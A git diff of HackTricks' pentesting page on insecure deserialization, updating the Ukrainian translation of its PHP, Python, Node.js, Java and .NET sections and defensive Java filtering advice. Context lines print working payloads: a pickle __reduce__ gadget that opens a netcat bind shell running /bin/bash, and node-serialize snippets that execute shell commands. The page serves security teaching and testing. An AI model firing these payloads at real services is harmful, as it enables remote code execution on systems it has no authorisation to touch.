mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
Translated ['pentesting-web/deserialization/README.md'] to ua
This commit is contained in:
parent
ab4da7a49a
commit
7ff5c0e93a
1 changed files with 44 additions and 42 deletions
|
@ -17,18 +17,18 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
||||||
|
|
||||||
## Basic Information
|
## Basic Information
|
||||||
|
|
||||||
**Серіалізація** розуміється як метод перетворення об'єкта в формат, який може бути збережений, з наміром або зберегти об'єкт, або передати його як частину процесу комунікації. Ця техніка зазвичай використовується для забезпечення можливості відтворення об'єкта пізніше, зберігаючи його структуру та стан.
|
**Серіалізація** розуміється як метод перетворення об'єкта в формат, який може бути збережений, з наміром або зберегти об'єкт, або передати його як частину процесу комунікації. Ця техніка зазвичай використовується для забезпечення можливості відтворення об'єкта в майбутньому, зберігаючи його структуру та стан.
|
||||||
|
|
||||||
**Десеріалізація**, навпаки, є процесом, який протидіє серіалізації. Він включає в себе взяття даних, які були структуровані в певному форматі, і відновлення їх назад в об'єкт.
|
**Десеріалізація**, навпаки, є процесом, який протидіє серіалізації. Він включає в себе взяття даних, які були структуровані в певному форматі, і відновлення їх назад в об'єкт.
|
||||||
|
|
||||||
Десеріалізація може бути небезпечною, оскільки вона потенційно **дозволяє зловмисникам маніпулювати серіалізованими даними для виконання шкідливого коду** або викликати несподівану поведінку в додатку під час процесу відновлення об'єкта.
|
Десеріалізація може бути небезпечною, оскільки вона потенційно **дозволяє зловмисникам маніпулювати серіалізованими даними для виконання шкідливого коду** або викликати непередбачувану поведінку в додатку під час процесу відновлення об'єкта.
|
||||||
|
|
||||||
## PHP
|
## PHP
|
||||||
|
|
||||||
В PHP під час процесів серіалізації та десеріалізації використовуються специфічні магічні методи:
|
В PHP під час процесів серіалізації та десеріалізації використовуються специфічні магічні методи:
|
||||||
|
|
||||||
* `__sleep`: Викликається, коли об'єкт серіалізується. Цей метод повинен повертати масив імен усіх властивостей об'єкта, які повинні бути серіалізовані. Він зазвичай використовується для збереження очікуючих даних або виконання подібних завдань очищення.
|
* `__sleep`: Викликається, коли об'єкт серіалізується. Цей метод повинен повертати масив імен усіх властивостей об'єкта, які повинні бути серіалізовані. Він зазвичай використовується для фіксації очікуючих даних або виконання подібних завдань очищення.
|
||||||
* `__wakeup`: Викликається, коли об'єкт десеріалізується. Він використовується для відновлення будь-яких з'єднань з базою даних, які могли бути втрачені під час серіалізації, і виконання інших завдань повторної ініціалізації.
|
* `__wakeup`: Викликається, коли об'єкт десеріалізується. Він використовується для відновлення будь-яких з'єднань з базою даних, які могли бути втрачені під час серіалізації, та виконання інших завдань повторної ініціалізації.
|
||||||
* `__unserialize`: Цей метод викликається замість `__wakeup` (якщо він існує) під час десеріалізації об'єкта. Він надає більше контролю над процесом десеріалізації в порівнянні з `__wakeup`.
|
* `__unserialize`: Цей метод викликається замість `__wakeup` (якщо він існує) під час десеріалізації об'єкта. Він надає більше контролю над процесом десеріалізації в порівнянні з `__wakeup`.
|
||||||
* `__destruct`: Цей метод викликається, коли об'єкт збирається бути знищеним або коли скрипт закінчується. Він зазвичай використовується для завдань очищення, таких як закриття файлових дескрипторів або з'єднань з базою даних.
|
* `__destruct`: Цей метод викликається, коли об'єкт збирається бути знищеним або коли скрипт закінчується. Він зазвичай використовується для завдань очищення, таких як закриття файлових дескрипторів або з'єднань з базою даних.
|
||||||
* `__toString`: Цей метод дозволяє об'єкту розглядатися як рядок. Він може використовуватися для читання файлу або інших завдань на основі викликів функцій всередині нього, ефективно надаючи текстове представлення об'єкта.
|
* `__toString`: Цей метод дозволяє об'єкту розглядатися як рядок. Він може використовуватися для читання файлу або інших завдань на основі викликів функцій всередині нього, ефективно надаючи текстове представлення об'єкта.
|
||||||
|
@ -147,7 +147,7 @@ $ser=serialize($o);
|
||||||
|
|
||||||
### **Pickle**
|
### **Pickle**
|
||||||
|
|
||||||
Коли об'єкт розпаковується, функція _\_\_reduce\_\__ буде виконана.\
|
Коли об'єкт буде розпакований, функція _\_\_reduce\_\__ буде виконана.\
|
||||||
При експлуатації сервер може повернути помилку.
|
При експлуатації сервер може повернути помилку.
|
||||||
```python
|
```python
|
||||||
import pickle, os, base64
|
import pickle, os, base64
|
||||||
|
@ -156,7 +156,9 @@ def __reduce__(self):
|
||||||
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
||||||
print(base64.b64encode(pickle.dumps(P())))
|
print(base64.b64encode(pickle.dumps(P())))
|
||||||
```
|
```
|
||||||
Для отримання додаткової інформації про вихід з **pickle jails** перегляньте:
|
Перед перевіркою техніки обходу спробуйте використати `print(base64.b64encode(pickle.dumps(P(),2)))`, щоб згенерувати об'єкт, який сумісний з python2, якщо ви використовуєте python3.
|
||||||
|
|
||||||
|
Для отримання додаткової інформації про втечу з **pickle jails** дивіться:
|
||||||
|
|
||||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||||
|
@ -164,7 +166,7 @@ print(base64.b64encode(pickle.dumps(P())))
|
||||||
|
|
||||||
### Yaml **&** jsonpickle
|
### Yaml **&** jsonpickle
|
||||||
|
|
||||||
Наступна сторінка представляє техніку **зловживання небезпечним десеріалізацією в yamls** бібліотеках python і завершується інструментом, який можна використовувати для генерації RCE десеріалізаційного payload для **Pickle, PyYAML, jsonpickle і ruamel.yaml**:
|
Наступна сторінка представляє техніку **зловживання небезпечним десеріалізацією в yamls** бібліотеках python і завершується інструментом, який можна використовувати для генерації RCE десеріалізаційного payload для **Pickle, PyYAML, jsonpickle та ruamel.yaml**:
|
||||||
|
|
||||||
{% content-ref url="python-yaml-deserialization.md" %}
|
{% content-ref url="python-yaml-deserialization.md" %}
|
||||||
[python-yaml-deserialization.md](python-yaml-deserialization.md)
|
[python-yaml-deserialization.md](python-yaml-deserialization.md)
|
||||||
|
@ -248,7 +250,7 @@ var serialize = require('node-serialize');
|
||||||
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
|
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
|
||||||
serialize.unserialize(test);
|
serialize.unserialize(test);
|
||||||
```
|
```
|
||||||
Як було зазначено раніше, ця бібліотека отримає код після `_$$ND_FUNC$$_` і **виконає його** за допомогою `eval`. Тому, щоб **автоматично виконати код**, ви можете **видалити частину створення функції** та останню дужку і **просто виконати JS oneliner** як у наступному прикладі:
|
Як було зазначено раніше, ця бібліотека отримає код після `_$$ND_FUNC$$_` і **виконає його** за допомогою `eval`. Тому, щоб **автоматично виконати код**, ви можете **видалити частину створення функції** та останню дужку і **просто виконати JS однолінійник** як у наступному прикладі:
|
||||||
```javascript
|
```javascript
|
||||||
var serialize = require('node-serialize');
|
var serialize = require('node-serialize');
|
||||||
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
|
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
|
||||||
|
@ -279,13 +281,13 @@ funcster.deepDeserialize(desertest3)
|
||||||
|
|
||||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||||
|
|
||||||
Пакет **serialize-javascript** призначений виключно для цілей серіалізації, не маючи вбудованих можливостей десеріалізації. Користувачі несуть відповідальність за реалізацію власного методу для десеріалізації. Пряме використання `eval` пропонується офіційним прикладом для десеріалізації серіалізованих даних:
|
Пакет **serialize-javascript** призначений виключно для цілей серіалізації, не маючи жодних вбудованих можливостей десеріалізації. Користувачі несуть відповідальність за реалізацію власного методу для десеріалізації. Пряме використання `eval` пропонується офіційним прикладом для десеріалізації серіалізованих даних:
|
||||||
```javascript
|
```javascript
|
||||||
function deserialize(serializedJavascript){
|
function deserialize(serializedJavascript){
|
||||||
return eval('(' + serializedJavascript + ')');
|
return eval('(' + serializedJavascript + ')');
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Якщо ця функція використовується для десеріалізації об'єктів, ви можете **легко експлуатувати це**:
|
Якщо ця функція використовується для десеріалізації об'єктів, ви можете **легко її експлуатувати**:
|
||||||
```javascript
|
```javascript
|
||||||
var serialize = require('serialize-javascript');
|
var serialize = require('serialize-javascript');
|
||||||
//Serialization
|
//Serialization
|
||||||
|
@ -307,7 +309,7 @@ deserialize(test)
|
||||||
|
|
||||||
## Java - HTTP
|
## Java - HTTP
|
||||||
|
|
||||||
В Java, **зворотні виклики десеріалізації виконуються під час процесу десеріалізації**. Це виконання може бути використане зловмисниками, які створюють шкідливі корисні навантаження, що викликають ці зворотні виклики, що призводить до потенційного виконання шкідливих дій.
|
У Java, **зворотні виклики десеріалізації виконуються під час процесу десеріалізації**. Це виконання може бути використано зловмисниками, які створюють шкідливі корисні навантаження, що викликають ці зворотні виклики, що призводить до потенційного виконання шкідливих дій.
|
||||||
|
|
||||||
### Відбитки
|
### Відбитки
|
||||||
|
|
||||||
|
@ -336,13 +338,13 @@ deserialize(test)
|
||||||
* HTTP заголовки відповіді з `Content-type`, встановленим на `application/x-java-serialized-object`.
|
* HTTP заголовки відповіді з `Content-type`, встановленим на `application/x-java-serialized-object`.
|
||||||
* Шістнадцятковий шаблон, що вказує на попереднє стиснення: `1F 8B 08 00`.
|
* Шістнадцятковий шаблон, що вказує на попереднє стиснення: `1F 8B 08 00`.
|
||||||
* Base64 шаблон, що вказує на попереднє стиснення: `H4sIA`.
|
* Base64 шаблон, що вказує на попереднє стиснення: `H4sIA`.
|
||||||
* Веб-файли з розширенням `.faces` та параметром `faces.ViewState`. Виявлення цих шаблонів у веб-додатку має спонукати до перевірки, як детально описано в [пості про десеріалізацію Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
|
* Веб-файли з розширенням `.faces` та параметром `faces.ViewState`. Виявлення цих шаблонів у веб-додатку повинно спонукати до перевірки, як зазначено в [пості про десеріалізацію Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
|
||||||
```
|
```
|
||||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||||
```
|
```
|
||||||
### Перевірте, чи вразливий
|
### Перевірте, чи вразливий
|
||||||
|
|
||||||
Якщо ви хочете **дізнатися, як працює експлойт Java Deserialized**, вам слід ознайомитися з [**Основною десеріалізацією Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Десеріалізацією Java DNS**](java-dns-deserialization-and-gadgetprobe.md) та [**Payload CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
|
Якщо ви хочете **дізнатися, як працює експлойт Java Deserialized**, вам слід ознайомитися з [**Основною десеріалізацією Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Десеріалізацією DNS Java**](java-dns-deserialization-and-gadgetprobe.md) та [**Payload CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
|
||||||
|
|
||||||
#### Тестування в білому ящику
|
#### Тестування в білому ящику
|
||||||
|
|
||||||
|
@ -355,7 +357,7 @@ grep -R InvokeTransformer .
|
||||||
Ви також можете використовувати [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) для пошуку можливих ланцюгів гаджетів, які можна експлуатувати.\
|
Ви також можете використовувати [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) для пошуку можливих ланцюгів гаджетів, які можна експлуатувати.\
|
||||||
При запуску **gadgetinspector** (після його збірки) не звертайте уваги на безліч попереджень/помилок, які він проходить, і дайте йому закінчити. Він запише всі знахідки під _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Будь ласка, зверніть увагу, що **gadgetinspector не створить експлойт і може вказувати на хибнопозитивні результати**.
|
При запуску **gadgetinspector** (після його збірки) не звертайте уваги на безліч попереджень/помилок, які він проходить, і дайте йому закінчити. Він запише всі знахідки під _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Будь ласка, зверніть увагу, що **gadgetinspector не створить експлойт і може вказувати на хибнопозитивні результати**.
|
||||||
|
|
||||||
#### Тест чорного ящика
|
#### Чорний ящик
|
||||||
|
|
||||||
Використовуючи розширення Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md), ви можете ідентифікувати **які бібліотеки доступні** (і навіть версії). З цією інформацією може бути **легше вибрати payload** для експлуатації вразливості.\
|
Використовуючи розширення Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md), ви можете ідентифікувати **які бібліотеки доступні** (і навіть версії). З цією інформацією може бути **легше вибрати payload** для експлуатації вразливості.\
|
||||||
[**Прочитайте це, щоб дізнатися більше про GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
[**Прочитайте це, щоб дізнатися більше про GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||||
|
@ -368,7 +370,7 @@ Java Deserialization Scanner зосереджений на **`ObjectInputStream`
|
||||||
Ви також можете використовувати [**Freddy**](https://github.com/nccgroup/freddy) для **виявлення вразливостей десеріалізації** в **Burp**. Цей плагін виявить **не тільки вразливості, пов'язані з `ObjectInputStream`**, але **також** вразливості з бібліотек десеріалізації **Json** та **Yml**. В активному режимі він спробує підтвердити їх, використовуючи payload'и на основі затримки або DNS.\
|
Ви також можете використовувати [**Freddy**](https://github.com/nccgroup/freddy) для **виявлення вразливостей десеріалізації** в **Burp**. Цей плагін виявить **не тільки вразливості, пов'язані з `ObjectInputStream`**, але **також** вразливості з бібліотек десеріалізації **Json** та **Yml**. В активному режимі він спробує підтвердити їх, використовуючи payload'и на основі затримки або DNS.\
|
||||||
[**Ви можете знайти більше інформації про Freddy тут.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
[**Ви можете знайти більше інформації про Freddy тут.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||||
|
|
||||||
**Тест серіалізації**
|
**Тест на серіалізацію**
|
||||||
|
|
||||||
Не все зводиться до перевірки, чи використовується якась вразлива бібліотека сервером. Іноді ви можете **змінити дані всередині серіалізованого об'єкта і обійти деякі перевірки** (можливо, надати вам адміністративні привілеї в веб-додатку).\
|
Не все зводиться до перевірки, чи використовується якась вразлива бібліотека сервером. Іноді ви можете **змінити дані всередині серіалізованого об'єкта і обійти деякі перевірки** (можливо, надати вам адміністративні привілеї в веб-додатку).\
|
||||||
Якщо ви знайдете серіалізований об'єкт java, що надсилається до веб-додатку, **ви можете використовувати** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **для виведення в більш зрозумілому форматі серіалізованого об'єкта, що надсилається**. Знаючи, які дані ви надсилаєте, буде легше їх змінити і обійти деякі перевірки.
|
Якщо ви знайдете серіалізований об'єкт java, що надсилається до веб-додатку, **ви можете використовувати** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **для виведення в більш зрозумілому форматі серіалізованого об'єкта, що надсилається**. Знаючи, які дані ви надсилаєте, буде легше їх змінити і обійти деякі перевірки.
|
||||||
|
@ -514,7 +516,7 @@ throw new java.io.IOException("Cannot be deserialized");
|
||||||
```
|
```
|
||||||
#### **Покращення безпеки десеріалізації в Java**
|
#### **Покращення безпеки десеріалізації в Java**
|
||||||
|
|
||||||
**Налаштування `java.io.ObjectInputStream`** є практичним підходом для забезпечення процесів десеріалізації. Цей метод підходить, коли:
|
**Налаштування `java.io.ObjectInputStream`** є практичним підходом для забезпечення безпеки процесів десеріалізації. Цей метод підходить, коли:
|
||||||
|
|
||||||
* Код десеріалізації під вашим контролем.
|
* Код десеріалізації під вашим контролем.
|
||||||
* Відомі класи, які очікуються для десеріалізації.
|
* Відомі класи, які очікуються для десеріалізації.
|
||||||
|
@ -540,7 +542,7 @@ return super.resolveClass(desc);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
**Використання Java Agent для покращення безпеки** пропонує резервне рішення, коли модифікація коду неможлива. Цей метод застосовується в основному для **чорного списку шкідливих класів**, використовуючи параметр JVM:
|
**Використання Java Agent для підвищення безпеки** пропонує резервне рішення, коли модифікація коду неможлива. Цей метод застосовується в основному для **чорного списку шкідливих класів**, використовуючи параметр JVM:
|
||||||
```
|
```
|
||||||
-javaagent:name-of-agent.jar
|
-javaagent:name-of-agent.jar
|
||||||
```
|
```
|
||||||
|
@ -562,11 +564,11 @@ return Status.ALLOWED;
|
||||||
};
|
};
|
||||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||||
```
|
```
|
||||||
**Використання зовнішніх бібліотек для підвищення безпеки**: Бібліотеки, такі як **NotSoSerial**, **jdeserialize** та **Kryo**, пропонують розширені функції для контролю та моніторингу десеріалізації Java. Ці бібліотеки можуть забезпечити додаткові рівні безпеки, такі як білий або чорний списки класів, аналіз серіалізованих об'єктів перед десеріалізацією та реалізацію власних стратегій серіалізації.
|
**Використання зовнішніх бібліотек для підвищення безпеки**: Бібліотеки, такі як **NotSoSerial**, **jdeserialize** та **Kryo**, пропонують розширені можливості для контролю та моніторингу десеріалізації Java. Ці бібліотеки можуть забезпечити додаткові рівні безпеки, такі як білий або чорний списки класів, аналіз серіалізованих об'єктів перед десеріалізацією та реалізацію власних стратегій серіалізації.
|
||||||
|
|
||||||
* **NotSoSerial** перехоплює процеси десеріалізації, щоб запобігти виконанню ненадійного коду.
|
* **NotSoSerial** перехоплює процеси десеріалізації, щоб запобігти виконанню ненадійного коду.
|
||||||
* **jdeserialize** дозволяє аналізувати серіалізовані Java-об'єкти без їх десеріалізації, що допомагає виявити потенційно шкідливий вміст.
|
* **jdeserialize** дозволяє аналізувати серіалізовані Java-об'єкти без їх десеріалізації, що допомагає виявити потенційно шкідливий вміст.
|
||||||
* **Kryo** є альтернативною платформою серіалізації, яка акцентує увагу на швидкості та ефективності, пропонуючи налаштовувані стратегії серіалізації, які можуть підвищити безпеку.
|
* **Kryo** є альтернативною рамкою серіалізації, яка підкреслює швидкість і ефективність, пропонуючи налаштовувані стратегії серіалізації, які можуть підвищити безпеку.
|
||||||
|
|
||||||
### Посилання
|
### Посилання
|
||||||
|
|
||||||
|
@ -579,12 +581,12 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||||
* [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
* [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||||
* [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
* [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||||
* [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
* [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||||||
* Стаття про десеріалізацію Java та .Net JSON: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** доповідь: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) та слайди: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
* Дослідження десеріалізації Java та .Net JSON **документ:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** доповідь: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) та слайди: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||||
* CVE десеріалізацій: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
* CVE десеріалізацій: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||||
|
|
||||||
## JNDI Injection & log4Shell
|
## JNDI Injection & log4Shell
|
||||||
|
|
||||||
Дізнайтеся, що таке **JNDI Injection, як його зловживати через RMI, CORBA та LDAP і як експлуатувати log4shell** (і приклад цієї уразливості) на наступній сторінці:
|
Дізнайтеся, що таке **JNDI Injection, як його зловживати через RMI, CORBA & LDAP та як експлуатувати log4shell** (і приклад цієї уразливості) на наступній сторінці:
|
||||||
|
|
||||||
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %}
|
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %}
|
||||||
[jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md)
|
[jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md)
|
||||||
|
@ -592,7 +594,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||||
|
|
||||||
## JMS - Java Message Service
|
## JMS - Java Message Service
|
||||||
|
|
||||||
> **Java Message Service** (**JMS**) API є Java API для обміну повідомленнями, орієнтованим на послуги, для надсилання повідомлень між двома або більше клієнтами. Це реалізація для вирішення проблеми виробника-споживача. JMS є частиною Java Platform, Enterprise Edition (Java EE) і була визначена специфікацією, розробленою в Sun Microsystems, але з тих пір керується Java Community Process. Це стандарт обміну повідомленнями, який дозволяє компонентам додатків на основі Java EE створювати, надсилати, отримувати та читати повідомлення. Це дозволяє зв'язку між різними компонентами розподіленого додатка бути слабо пов'язаним, надійним і асинхронним. (З [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
|
> API **Java Message Service** (**JMS**) є Java API для обміну повідомленнями, орієнтованим на послуги, для надсилання повідомлень між двома або більше клієнтами. Це реалізація для вирішення проблеми виробника-споживача. JMS є частиною Java Platform, Enterprise Edition (Java EE) і була визначена специфікацією, розробленою в Sun Microsystems, але з тих пір керується Java Community Process. Це стандарт обміну повідомленнями, який дозволяє компонентам додатків на основі Java EE створювати, надсилати, отримувати та читати повідомлення. Це дозволяє зв'язку між різними компонентами розподіленого додатку бути слабо пов'язаним, надійним і асинхронним. (З [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
|
||||||
|
|
||||||
### Продукти
|
### Продукти
|
||||||
|
|
||||||
|
@ -605,11 +607,11 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||||
### Експлуатація
|
### Експлуатація
|
||||||
|
|
||||||
Отже, в основному є **безліч сервісів, які використовують JMS небезпечним чином**. Тому, якщо у вас є **достатні привілеї** для надсилання повідомлень цим сервісам (зазвичай вам знадобляться дійсні облікові дані), ви зможете надіслати **шкідливі об'єкти, серіалізовані, які будуть десеріалізовані споживачем/підписником**.\
|
Отже, в основному є **безліч сервісів, які використовують JMS небезпечним чином**. Тому, якщо у вас є **достатні привілеї** для надсилання повідомлень цим сервісам (зазвичай вам знадобляться дійсні облікові дані), ви зможете надіслати **шкідливі об'єкти, серіалізовані, які будуть десеріалізовані споживачем/підписником**.\
|
||||||
Це означає, що в цій експлуатації всі **клієнти, які будуть використовувати це повідомлення, будуть інфіковані**.
|
Це означає, що в цій експлуатації всі **клієнти, які будуть використовувати це повідомлення, заразяться**.
|
||||||
|
|
||||||
Вам слід пам'ятати, що навіть якщо сервіс вразливий (оскільки він небезпечно десеріалізує вхідні дані користувача), вам все ще потрібно знайти дійсні гаджети для експлуатації вразливості.
|
Вам слід пам'ятати, що навіть якщо сервіс вразливий (оскільки він небезпечно десеріалізує введення користувача), вам все ще потрібно знайти дійсні гаджети для експлуатації вразливості.
|
||||||
|
|
||||||
Інструмент [JMET](https://github.com/matthiaskaiser/jmet) був створений для **підключення та атаки на ці сервіси, надсилаючи кілька шкідливих об'єктів, серіалізованих за допомогою відомих гаджетів**. Ці експлойти працюватимуть, якщо сервіс все ще вразливий і якщо будь-який з використаних гаджетів знаходиться всередині вразливого додатка.
|
Інструмент [JMET](https://github.com/matthiaskaiser/jmet) був створений для **підключення та атаки на ці сервіси, надсилаючи кілька шкідливих об'єктів, серіалізованих за допомогою відомих гаджетів**. Ці експлойти працюватимуть, якщо сервіс все ще вразливий і якщо будь-який з використаних гаджетів знаходиться всередині вразливого додатку.
|
||||||
|
|
||||||
### Посилання
|
### Посилання
|
||||||
|
|
||||||
|
@ -618,7 +620,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||||
|
|
||||||
## .Net
|
## .Net
|
||||||
|
|
||||||
У контексті .Net експлойти десеріалізації працюють аналогічно тим, що зустрічаються в Java, де гаджети експлуатуються для виконання конкретного коду під час десеріалізації об'єкта.
|
У контексті .Net експлойти десеріалізації працюють подібно до тих, що зустрічаються в Java, де гаджети експлуатуються для виконання конкретного коду під час десеріалізації об'єкта.
|
||||||
|
|
||||||
### Відбиток
|
### Відбиток
|
||||||
|
|
||||||
|
@ -629,7 +631,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||||
1. `TypeNameHandling`
|
1. `TypeNameHandling`
|
||||||
2. `JavaScriptTypeResolver`
|
2. `JavaScriptTypeResolver`
|
||||||
|
|
||||||
Увага повинна бути зосереджена на серіалізаторах, які дозволяють визначити тип за змінною під контролем користувача.
|
Основна увага повинна бути зосереджена на серіалізаторах, які дозволяють визначити тип за змінною під контролем користувача.
|
||||||
|
|
||||||
#### BlackBox
|
#### BlackBox
|
||||||
|
|
||||||
|
@ -639,20 +641,20 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||||
|
|
||||||
У цьому випадку ви можете використовувати інструмент [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) для **створення експлойтів десеріалізації**. Після завантаження репозиторію git вам слід **скомпілювати інструмент** за допомогою Visual Studio, наприклад.
|
У цьому випадку ви можете використовувати інструмент [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) для **створення експлойтів десеріалізації**. Після завантаження репозиторію git вам слід **скомпілювати інструмент** за допомогою Visual Studio, наприклад.
|
||||||
|
|
||||||
Якщо ви хочете дізнатися, **як ysoserial.net створює свій експлойт**, ви можете [**перевірити цю сторінку, де пояснюється гаджет ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
Якщо ви хочете дізнатися, **як ysoserial.net створює свій експлойт**, ви можете [**перевірити цю сторінку, де пояснюється гаджет ObjectDataProvider + ExpandedWrapper + Json.Net форматер**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||||
|
|
||||||
Основні параметри **ysoserial.net**: **`--gadget`**, **`--formatter`**, **`--output`** та **`--plugin`.**
|
Основні параметри **ysoserial.net**: **`--gadget`**, **`--formatter`**, **`--output`** та **`--plugin`.**
|
||||||
|
|
||||||
* **`--gadget`** використовується для вказівки гаджета, який потрібно зловживати (вказати клас/функцію, яка буде зловживатися під час десеріалізації для виконання команд).
|
* **`--gadget`** використовується для вказівки гаджета, який потрібно зловживати (вказати клас/функцію, яка буде зловживатися під час десеріалізації для виконання команд).
|
||||||
* **`--formatter`**, використовується для вказівки методу для серіалізації експлойту (вам потрібно знати, яка бібліотека використовується на сервері для десеріалізації корисного навантаження, і використовувати ту ж саму для серіалізації).
|
* **`--formatter`**, використовується для вказівки методу для серіалізації експлойту (вам потрібно знати, яка бібліотека використовується на сервері для десеріалізації корисного навантаження, і використовувати ту ж саму для серіалізації).
|
||||||
* **`--output`** використовується для вказівки, чи хочете ви отримати експлойт у **сирому** або **base64** закодованому вигляді. _Зверніть увагу, що **ysoserial.net** буде **кодувати** корисне навантаження, використовуючи **UTF-16LE** (кодування, що використовується за замовчуванням у Windows), тому, якщо ви отримаєте сирий і просто закодуєте його з консолі Linux, ви можете зіткнутися з деякими **проблемами сумісності кодування**, які завадять експлойту працювати належним чином (в HTB JSON box корисне навантаження працювало як в UTF-16LE, так і в ASCII, але це не означає, що воно завжди буде працювати)._
|
